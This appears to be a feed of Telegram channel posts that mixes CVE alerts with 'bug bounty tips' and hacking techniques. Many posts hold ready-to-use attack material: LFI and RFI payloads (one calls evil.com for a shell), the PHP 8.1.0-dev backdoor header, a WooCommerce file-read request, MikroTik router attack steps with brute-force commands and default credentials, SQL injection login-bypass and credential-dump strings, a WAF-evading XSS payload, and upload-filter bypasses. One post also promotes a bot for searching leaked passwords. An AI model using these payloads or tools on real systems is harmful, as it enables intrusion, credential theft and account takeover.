🚨 Security Alert: CVE-2025-26319 🚨

🔥 Arbitrary File Upload in Flowise (v2.5) – CVSS 9.8 Critical

📌 What’s the risk?
A pre-authenticated arbitrary file upload vulnerability in FlowiseAI Flowise v2.5 allows attackers to upload malicious files, potentially leading to remote code execution (RCE) and server compromise.

🔍 Key Details:

📌 Affected Version: FlowiseAI Flowise v2.5
🚨 Risk: Unauthenticated attackers can upload malicious files, leading to full system compromise

⚠️ No Patch Available Yet

💻 HUNTER Query:product.name="Flowise"

🔗 Hunter Link

🔔 Action Required:
✅ If you’re using Flowise v2.5, apply mitigations immediately!
✅ Restrict file uploads and monitor for suspicious activities
✅ Check if your instance is exposed using Netlas.io

🔴 Stay ahead in cybersecurity – Join us!
🔗 @cybersecplayground for real-time updates.

#Flowise #hunterhow #infosec #infosecurity #OSINT #Vulnerability 🚨

🚨 LeakHunter Bot is Officially Launched! 🚨

🔍 Find Leaked Passwords, Emails & Links Instantly! 🔍

The LeakHunter Bot is designed to help you discover leaked credentials, which can be useful for admin takeover testing and cybersecurity research. Stay ahead of potential security risks by accessing compromised data efficiently!

⚡ Features:
✅ Search leaked emails & passwords
✅ Find exposed credentials
✅ Gather links to leaked databases

💻 Try it now: LeakHunter Bot – Your go-to tool for uncovering leaked credentials!

🚀 Join @CyberSecPlayground for the latest in cybersecurity, ethical hacking, and security tools! Stay ahead in the game!


📢 #CyberSecurity #HackingTools #DataLeaks #LeakHunter #EthicalHacking #Infosec #CyberSecPlayground

🚨 Bug Bounty Tip: Test for Password Reset Vulnerabilities! 🚨

A weak password reset flow can lead to account takeover – a serious security risk! 🔥

✅ What to Check?

🔹 Token Guessing → Is the reset token predictable or reusable? Attackers can exploit weak tokens to reset passwords easily!

🔹 Email/Phone Enumeration → Does the system confirm if an account exists? Exposing this info can help attackers target specific users!

🔹 Rate Limiting & Brute Force Protection → Can an attacker brute-force reset requests without restrictions?

🔹 Lack of Multi-Factor Authentication (MFA) → Is there an extra layer of security after resetting a password?

🛡️ Always ensure strong reset mechanisms to prevent unauthorized access!

🚀 Join @CyberSecPlayground for more bug bounty tips, hacking insights, and cybersecurity tools!


📢 #BugBounty #CyberSecurity #EthicalHacking #Pentesting #InfoSec #HackingTips #BugBountyTips #CyberSecPlayground

🚨 Security Alert: CVE-2025-20115 🚨

🔥 Cisco IOS XR BGP Confederation DoS Vulnerability – Denial of Service (DoS) Risk

📌 What’s the risk?
A newly disclosed Denial of Service (DoS) vulnerability in Cisco IOS XR Software affects Border Gateway Protocol (BGP) Confederations, potentially allowing attackers to disrupt network traffic on affected devices.

🔍 Key Details:

📌 Affected Product: Cisco IOS XR Software
⚠️ Impact: Attackers can exploit this flaw to trigger a DoS condition, taking down network routers
📊 1,300+ exposed instances detected on Hunter
🚨 Actively scanned and exploited in the wild
🔎 How to find vulnerable instances?
💻 HUNTER Query: product.name="Cisco IOS-XR"
🔗 Hunter Link: https://hunter.how/list...
📊 Alternative Searches:

FOFA Query: product="CISCO-IOS-XR"
SHODAN Query: os:"Cisco IOS XR"

📜 Official Cisco Advisory:
🔗 Cisco Security Advisory
📰 More Details: Security Online Info

🔔 Mitigation Steps:
✅ Apply the latest patches from Cisco ASAP
✅ Restrict access to BGP configurations
✅ Monitor logs for abnormal BGP traffic and DoS attempts

🔴 Stay updated on cybersecurity threats!
🔗 @cybersecplayground for real-time security alerts.

#Cisco #hunterhow #infosec #infosecurity #OSINT #Vulnerability 🚨

🔍 Bug Bounty Tip: Testing for JavaScript Prototype Pollution!

JavaScript Prototype Pollution can lead to:
⚠️ Privilege escalation 🔥
⚠️ Application-wide XSS 🚀
⚠️ Bypassing security controls 🕵️

✅ How to Test?
1️⃣ Inject payloads in JSON requests, query parameters, or headers:

{
  "__proto__": { "isAdmin": true }
}

2️⃣ Common parameters to test:

__proto__[key]=value
constructor.prototype.key=value
prototype.key=value
Object.prototype.key=value

3️⃣ Test for impact:

- Look for modified global objects
- Check access control bypass (e.g., user → admin)
- Inspect DOM-based XSS triggers

💡 Tools for Detection:
🔹 Burp Suite Intruder – Automate payload injection
🔹 JS libraries scanners – Find affected dependencies (H1PP or ppfuzz)
🔹 Manual testing – Debug in browser console

⚠️ Watch out! Some frameworks like Express.js, AngularJS, and Lodash are vulnerable by default!

🔔 Stay updated on security techniques!
🔗 @cybersecplayground for more bug bounty tips.

#BugBounty #JavaScript #PrototypePollution #XSS #Security

Poc 1 : https://github.com/iSee857/CVE-2025-2481...
Poc 2 : https://github.com/absholi7ly/...

🔍 LFI via GET Request - Local File Inclusion Exploit

If you find an endpoint vulnerable to LFI (Local File Inclusion), try this payload:

/shell.jsp?cmd=cat+%2Fetc%2Fpasswd

✅ Why this works?
cat /etc/passwd reads system user details.
%2F is URL encoding for / (to bypass filters).
Works on misconfigured web applications allowing direct command execution.

🔥 More Payloads to Try:

?file=../../../../../../etc/passwd
?page=../../../../../../../var/log/apache2/access.log
?inc=http://evil.com/shell.txt (RFI possibility!)
?cmd=ls+-la+/var/www/html/

💡 Pro Tips:
Test null bytes %00 and encoding tricks.
Try log poisoning for RCE.
If 403 is encountered, bypass with ..%2f..%2f..%2f sequences.

🚨 Vulnerable Software Alert:
CVE-2025-24813 - Apache Tomcat RCE via LFI

🔗 Reference

🔔 Stay updated with more Bug Bounty tips at @cybersecplayground!

#BugBounty #LFI #RCE #Security #Pentesting 🚀

🔥 2FA Bypass → Impersonation Attack

1️⃣ Create an account using your own email.
2️⃣ Complete OTP verification and select "Trust this device for 1 month" (or similar).
3️⃣ The session now does not require OTP for the next month.
4️⃣ Change the email to victim’s email (User B).
5️⃣ The session is now linked to User B's email, bypassing 2FA!
6️⃣ Logout and log back in—no OTP required.

🚨 Impact:
✅ Account Takeover – Attacker gains access to the victim’s account.
✅ Bypasses 2FA Security – A trusted session remains active for an extended period.
✅ Critical Business Risk – This can lead to unauthorized access to sensitive data.

🛠 Mitigation:
🔹 Force re-authentication when changing the email address.
🔹 Invalidate old sessions upon email update.
🔹 Re-prompt 2FA for all sensitive account changes.

🔗 Full details : HackerOne Report

#BugBountyTips #2FAbypass #AccountTakeover #CyberSecurity #Infosec

⚠️CVE-2025-24071

allows Windows Explorer to automatically initiate an SMB authentication request when a .library-ms file is extracted from a .rar archive. This leads to an NTLM hash disclosure without user interaction. 🚨

🔍 Key Details:

Impact: NTLM hash leak
Trigger: Extracting a .rar archive containing a .library-ms file

Exploitation: The extracted file initiates an SMB request to an attacker's controlled server, revealing authentication credentials.
🔗 PoC & More Info:
👉 https://github.com/0x6rss/CVE-2025-24071_PoC

#CyberSecurity #Exploit #NTLM #Windows #BugBounty #InfoSec

🚨 WooCommerce Plugin LFI Vulnerability 🚨

A critical Local File Inclusion (LFI) vulnerability has been discovered in the WooCommerce plugin, allowing attackers to read sensitive files on the server!

🔍 Exploit Steps:
1️⃣ Capture the request in Burp Suite.
2️⃣ Change the request method to POST and modify the request URL as follows:

POST /wp-admin/admin-ajax.php?template=../../../../../../../etc/passwd&value=a&min_symbols=1

3️⃣ Add the following parameter to the body:

action=woof_text_search&

4️⃣ Send the request and retrieve local files from the target server!

🚀 Impact:
🔸Access sensitive system files
🔸Potential privilege escalation
🔸Further exploitation leading to full system compromise

⚠️ If you're using WooCommerce, update immediately and ensure proper input sanitization!

📢 Join my Telegram for more cybersecurity content: @cybersecplayground

#BugBounty #CyberSecurity #WooCommerce #WordPress #LFI #Exploit #EthicalHacking

🚨 Bug Bounty Tip: Test for Host Header Attacks! 🚨

Many web applications blindly trust the Host header, making them vulnerable to serious security flaws like:

⚠️ Password Reset Poisoning – Manipulating password reset links to redirect victims to an attacker-controlled domain! 🔥

⚠️ Cache Poisoning – Poisoning the CDN or web cache by injecting malicious Host headers, serving fake content! 🎭

⚠️ SSRF & Internal Service Access – Redirecting requests to internal services by changing the Host to 127.0.0.1 or internal IPs! 🌐

🔹 How to Test?

1️⃣ Intercept a request in Burp Suite.

2️⃣ Modify the Host header to a different domain, localhost, or an attacker-controlled server.

3️⃣ Analyze the response to see if the application processes the modified header!

💡 Pro Tip: Check for applications that generate absolute URLs dynamically—these are often vulnerable!

⚠️ Always test responsibly and report bugs ethically! ⚠️

🚀 Join @CyberSecPlayground for more bug bounty tips, hacking tricks, and private tools!

🔗 Join Now

📢 #BugBounty #CyberSecurity #Hacking #EthicalHacking #Pentesting #InfoSec #SSRF #CachePoisoning #CyberSecPlayground

🚀 Bypassing File Upload Restrictions: Exploiting Extension Blacklists Like a Pro! 🔥

🛠 Bypassing File Extension Exclusion Lists in Web Applications
Many web applications implement security measures that block the upload of potentially dangerous file types, such as .php or .jsp. However, attackers and penetration testers often find ways to bypass these restrictions by using alternative file extensions or exploiting misconfigurations in the system.

🧐 Why Does This Work?
- Incomplete Blacklists – Some web applications only block .php but forget other PHP-related extensions like .phtml or .php7.
- MIME Type Validation Issues – Some applications only check the MIME type, which can be spoofed.
- Misconfigured Web Servers – Web servers like Apache and Nginx may still execute certain alternate file extensions as code.
- Double Extensions – Some apps fail to properly filter filenames like shell.php.jpg, which may still execute if uploaded and accessed a certain way.

🔥 Extension Variations for Different Technologies

🔹 PHP File Extensions (For Bypassing PHP Filters)
✔️ .phtml – PHP interprets it as a valid script
✔️ .php2, .php5, .php7 – Older/newer PHP versions may process these
✔️ .phar – PHP Archive, sometimes executed as PHP
✔️ .inc – Intended for include files, but still processed as PHP in some setups

🔹 ASP.NET File Extensions (For Windows/IIS Servers)
✔️ .asp, .aspx – Classic and modern ASP.NET
✔️ .ashx, .asmx – Web handlers that may execute code
✔️ .cshtml, .vbhtml – Razor pages that execute server-side

🔹 Java File Extensions (For JSP-based Servers)
✔️ .jsp, .jspx – JavaServer Pages, executed by Tomcat
✔️ .jsw, .jsv, .jspf – Alternative JSP formats
✔️ .action, .do – Used in Java-based frameworks like Struts

🔹 Other Extensions to Try
✔️ .svg – Some applications allow SVG uploads, which can include JavaScript payloads
✔️ .html, .cgi – Might be interpreted as executable content in some configurations
✔️ .htaccess – Can be used to override settings and enable execution of certain files
✔️ .cfm – ColdFusion scripts, which may be processed if the server supports it

🛠 Exploit Techniques
🔹 Case Sensitivity – Some filters only block .php but allow .PHP
🔹 Double Extensions – shell.php.jpg might bypass restrictions but still execute if accessed in a certain way
🔹 Null Byte Injection – Some applications fail to properly handle %00, allowing uploads like shell.php%00.jpg
🔹 MIME Spoofing – Changing the Content-Type to image/jpeg might allow execution if validated poorly

💡 Practical Example
Let’s say an upload filter blocks .php, but the server still executes .phtml. You could try renaming your payload:

🚀 Original file: shell.php
🔄 Bypassed file: shell.phtml

If the web server processes .phtml as PHP, your shell will still execute!

⚠️ How to Protect Against This?
✅ Use a whitelist approach (only allow specific safe extensions like .jpg, .png, etc.)
✅ Check both extension and MIME type (don’t rely on one method alone)
✅ Deny execution in upload directories (configure web server rules to prevent execution)
✅ Sanitize filenames properly (remove special characters and prevent double extensions)

📢 Join @cybersecplayground for more bug bounty tips, hacking techniques, and security insights! 🚀💀

🚀 PHP 8.1.0-dev Exploit: RCE & SQLi Attack Vectors! 🔥

If you encounter PHP 8.1.0-dev, it's time to test for Remote Code Execution (RCE) and SQL Injection (SQLi)!

🔹 Try These Payloads:
📌 User-Agentt: zerodiumsleep(5);
📌 User-Agentt: zerodiumsystem('id');

💀 This could lead to full system compromise!

🔍 Stay ahead in bug bounty hunting!

🔗 Join our Telegram for more exploits & tips: @cybersecplayground

#bugbountytips #infosec #bugbounty #hacking #cybersecurity

🔥 Hacking Tips for MikroTik & Network Exploitation 🔥

1️⃣ 🕵️ Find Exposed MikroTik Routers

• Use Shodan, Censys, or Zoomeye with queries like:

title:"MikroTik RouterOS"

http.favicon.hash:116323821

Target older versions (e.g., v6.48.6 or below) since they often have unpatched vulnerabilities.

2️⃣ 📡 Exploit WebFig Misconfigurations

• Try accessing hidden admin panels using:

http://<target-ip>/webfig/#Quick_Set

http://<target-ip>/webfig/#Interfaces

• If authentication is required, test for default credentials:

admin / (blank)
admin / admin
admin / password

3️⃣ 🎭 Bypass Login with Cookie Manipulation

• Use Burp Suite or Tamper Data to check for:
• Session hijacking possibilities
• Weak cookie validation
• Missing authentication headers

4️⃣ 🛠 Exploit Winbox to Dump User Credentials

• Older versions are vulnerable to Winbox Exploit to dump credentials:

python winbox-exploit.py -t <target-ip>

• Check if the MikroTik Dude service is exposed on port 8291 for remote access vulnerabilities.

5️⃣ 🔑 Bruteforce SSH/Telnet Login

• If SSH or Telnet is open, try bruteforcing credentials with:

hydra -l admin -P rockyou.txt ssh://<target-ip>

medusa -h <target-ip> -u admin -P passlist.txt -M ssh

6️⃣ 💣 Check for Exploits in CVE Databases

• Search for public MikroTik vulnerabilities on:
• Exploit-DB (searchsploit mikrotik)
• CVE databases (CVE-2023-XXXX)
• GitHub POCs (MikroTik exploit)

7️⃣ 🌐 Pivot Through the Network

• Once inside, scan for internal assets:

nmap -sP 192.168.1.0/24

• Try man-in-the-middle attacks (MITM) on internal users using ettercap or MITMf.

⸻

⚠️ For educational purposes only! Always test responsibly and report vulnerabilities ethically! ⚠️

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🔗 Join Now

📢 #BugBounty #CyberSecurity #Hacking #MikroTik #Pentesting #InfoSec #EthicalHacking #CyberSecPlayground

🚨 Bug Bounty Tip: DOM-Based XSS + Cloudflare Bypass! 🚨

🔥 DOM-based XSS vulnerabilities allow attackers to inject malicious scripts that run in the client’s browser. Here’s how you can exploit it while bypassing Cloudflare defenses!

🔹 Payload Example:

javascript:var{a:onerror}={a:%2561lert};throw%20origin

💡 What this does:
• Triggers XSS: It uses an onerror event handler to execute malicious JavaScript.
• Bypass Cloudflare: By encoding the payload and using JavaScript: URIs, this avoids some of the standard web application firewalls (WAFs) and Cloudflare protections.

🔹 Steps to Test:

1️⃣ Intercept the request using Burp Suite or Browser Dev Tools.

2️⃣ Inject the payload in fields that allow input (e.g., URL params, search fields, or forms).

3️⃣ Trigger the script: Look for any reflection of the payload in the response.

🔍 Why this works:
• Cloudflare bypass: Encoded JavaScript payloads may evade basic firewall rules.

• DOM XSS: The payload is executed in the browser, reflecting a malicious script injected into dynamic elements (JavaScript-based).

💡 Pro Tip:
• Try URL encoding or base64 encoding to bypass more sophisticated filters.

⚠️ For educational purposes only. Always test ethically! ⚠️

🚀 Join @CyberSecPlayground for more XSS tips, hacking techniques, and private tools!

🔗 Join Now

📢 #BugBounty #CyberSecurity #XSS #CloudflareBypass #Pentesting #InfoSec #CyberSecPlayground

🚨 Bug Bounty Tip: HTTP Downgrading Attack! 🚨

🔍 What is HTTP Downgrading?
• HTTP/2 is now the standard for most modern web applications, but many backend servers still use HTTP/1.1. This mismatch between frontend and backend can lead to parsing issues and open doors to certain attacks.

HTTP Downgrading is the process of forcing a request to be processed under HTTP/1.1 instead of HTTP/2. Why?

⚡ Why Use HTTP Downgrading?
• Exploit HTTP/1.1 parsing vulnerabilities, such as Content-Length Transfer-Encoding (CL.TE) attacks.
• This allows you to manipulate how the frontend and backend servers interpret requests, often bypassing security checks!

💡 How Does It Work?

1️⃣ Open Burp Suite and go to Proxy → HTTP History.

2️⃣ Locate the request that is currently using HTTP/2.

3️⃣ Send it to Repeater.

4️⃣ In the Repeater tab, open the Inspector panel → Request Attributes → Protocol.

5️⃣ Change the HTTP version to HTTP/1.1.

6️⃣ Click “Send” in Repeater.

✅ If successful, you should get a valid response confirming that the backend server accepts HTTP/1.1!

⸻

💥 Pro Tip: Once the request is downgraded, try exploiting CL.TE vulnerabilities for advanced attacks like Response Splitting or Request Smuggling.

⚠️ For educational purposes only. Always test ethically! ⚠️

🚀 Join @CyberSecPlayground for more bug bounty tips, advanced attack techniques, and exclusive tools!

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📢 #BugBounty #CyberSecurity #HTTPDowngrading #HTTP2 #Pentesting #InfoSec #CyberSecPlayground

🚨 CVE-2025-29927: Next.js Middleware Bypass Vulnerability 🚨

⚠️ A serious vulnerability in Next.js Middleware allows attackers to bypass security mechanisms and exploit vulnerable systems, affecting millions of users!

🔹 Proof of Concept (PoC):

🔥 PoC Repository:

• CVE-2025-29927

🎯 Over 5 Million Results found on FOFA over the last year!

Queries:

• HUNTER:

product.name="Next.js"

• FOFA:

product="NEXT.JS"

• SHODAN:

Next.js

🔖 For More Information:
📖
CVE-2025-29927 Blog Post

⸻

💥 Pro Tip: Check your Next.js applications for any unpatched versions of Middleware that could be vulnerable to this bypass!

⚠️ For educational purposes only. Always test responsibly! ⚠️

🚀 Join @CyberSecPlayground for more bug bounty tips, vulnerability details, and exclusive tools!

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📢 #OSINT #FOFA #CyberSecurity #Vulnerability #CVE2025 #BugBounty #NextJS #CyberSecPlayground

🚀 Bug Bounty Tip: Directory Traversal Attack! 🚀

A vulnerable file path can expose sensitive system files & source code, leading to critical data leaks! 🔥

✅ How to Test for Directory Traversal?

🔹 Modify file paths:

/download?file=../../../../etc/passwd

🔹 Try encoded payloads to bypass filters:

..%2f..%2f..%2fetc/passwd

🔹 Test API endpoints for improper file handling.
🔹 Hunt for backup files:

/backup.zip, /old/, /.git/, /.env

💥 Why it matters?
Exploiting directory traversal can reveal passwords, server configs, and source code, leading to full system compromise! 🚨

⚠️ Always test responsibly and report vulnerabilities ethically! ⚠️

🚀 Join @CyberSecPlayground for more hacking tips, bug bounty techniques, and private tools!

🔗 Join Now

📢 #BugBounty #WebSecurity #EthicalHacking #CyberSecurity #Pentesting #CyberSecPlayground

🚀 Google Dorks for Bug Bounty & Web Security! 🔍

A powerful list of Google Dorks to uncover hidden files, API endpoints, server errors, and more for pentesting & bug bounty hunting! 🎯

🔗 Live Tool for Google Dorks

🔥 Broad Domain Search (Exclude Common Subdomains)

site:example.com -www -shop -share -ir -mfa

🔥 PHP Files with Parameters

site:example.com ext:php inurl:?

🔥 API Endpoints Discovery

site:example[.]com inurl:api | site:*/rest | site:*/v1 | site:*/v2 | site:*/v3

🔥 Juicy Extensions (Sensitive Files)

site:"example[.]com" ext:log | ext:txt | ext:conf | ext:cnf | ext:ini | ext:env | ext:sh | ext:bak | ext:backup | ext:swp | ext:old | ext:~ | ext:git | ext:svn | ext:htpasswd | ext:htaccess | ext:json

🔥 High-Value InURL Keywords

inurl:conf | inurl:env | inurl:cgi | inurl:bin | inurl:etc | inurl:root | inurl:sql | inurl:backup | inurl:admin | inurl:php site:example[.]com

🔥 Finding Server Errors

inurl:"error" | intitle:"exception" | intitle:"failure" | intitle:"server at" | inurl:exception | "database error" | "SQL syntax" | "undefined index" | "unhandled exception" | "stack trace" site:example[.]com

💥 Master these dorks to find misconfigurations, sensitive data leaks, and security flaws!

⚠️ Use responsibly and ethically!

🚀 Join @CyberSecPlayground for more hacking tips, private tools, and exploit techniques!

🔗 Join Now

📢 #BugBounty #GoogleDorks #OSINT #EthicalHacking #Pentesting #CyberSecurity #CyberSecPlayground

🔍 Bug Bounty Tip: Master SQL Injection (SQLi) Attacks!

SQL Injection allows attackers to manipulate databases, bypass authentication, and extract sensitive data! 🚨

✅ How to Identify SQL Injection?

✅ Look for user input fields that interact with the database:
• Login forms
• Search bars
• URL parameters (id=1, product=10)
• Cookies
• Headers (User-Agent, Referer)

✅ Inject a simple payload to check for errors:

' OR '1'='1  

If the app logs in without a valid username/password, it’s vulnerable! 🎯

🔥 Exploitation Techniques

1️⃣ Authentication Bypass

🔹 Bypass login using SQLi:

admin' --  
' OR '1'='1' --  
" OR "1"="1" --  
' OR 1=1#  

🔹 Test for comment-based injections:

' OR 1=1--  
' OR 1=1#  
' OR 1=1/*  

2️⃣ Extracting Database Information

🔹 Find the number of columns:

ORDER BY 1--  
ORDER BY 2--  
ORDER BY 3-- (Increase number until error occurs)

🔹 Find database version:

' UNION SELECT NULL, @@version--  

🔹 Find database name:

' UNION SELECT NULL, database()--  

🔹 Find available tables (MySQL):

Stable_schema=database()--  

🔹 Find available columns in a table:

' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users'--  

3️⃣ Extracting Credentials

🔹 Dump user credentials (MySQL example):

' UNION SELECT username, password FROM users--  

🔹 If passwords are hashed (MD5, SHA-1, etc.), crack them using hashcat or online tools.


4️⃣ Error-Based SQL Injection

Sometimes, error messages leak database information:

' AND 1=CONVERT(int, @@version)--  

If an error appears, it confirms SQL Injection is possible! 🎯

5️⃣ Blind SQL Injection (Boolean-Based & Time-Based)

When no errors appear, test using time delays:

' OR IF(1=1, SLEEP(5), 0)--  

If the response is delayed, the database executes SQL Injection successfully!

🛡️ Preventing SQL Injection

⚠️ Developers should use parameterized queries (prepared statements) to avoid SQL Injection vulnerabilities.

Example (Safe Query in Python):

cursor.execute("SELECT * FROM users WHERE username = %s AND password = %s", (username, password))

💥 SQL Injection can lead to full database dumps, password leaks, and account takeovers! Always test responsibly and report vulnerabilities ethically! ⚠️

🚀 Join @CyberSecPlayground for more advanced hacking techniques, bug bounty tips, and private tools!

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📢 #BugBounty #SQLi #Pentesting #CyberSecurity #EthicalHacking #CyberSecPlayground

🚨 Reflected XSS (RXSS) Vulnerability Found! 🚨

🔍 Bug Type: RXSS (Reflected Cross-Site Scripting)

💥 Payload:

1%27%22()%26%25%3Czzz%3E%3CScRiPt%20%3Ealert(1)%3C/ScRiPt%3E

🖥 Vulnerable Endpoint:

https://example.com/login?error=1%27%22()%26%25%3Czzz%3E%3CScRiPt%20%3Ealert(1)%3C/ScRiPt%3E

⚡️ Impact:

⚠️Inject arbitrary JavaScript into the page
⚠️Execute malicious scripts on a victim’s browser
⚠️Steal session cookies & sensitive user data

💡 Mitigation:
✅ Implement proper input validation & output encoding
✅ Use Content Security Policy (CSP)
✅ Sanitize user input before rendering in HTML

🔗 Stay updated on more security findings: @cybersecplayground

#infosec #bugbounty #XSS #bugbountytips #cybersecurity #ethicalhacking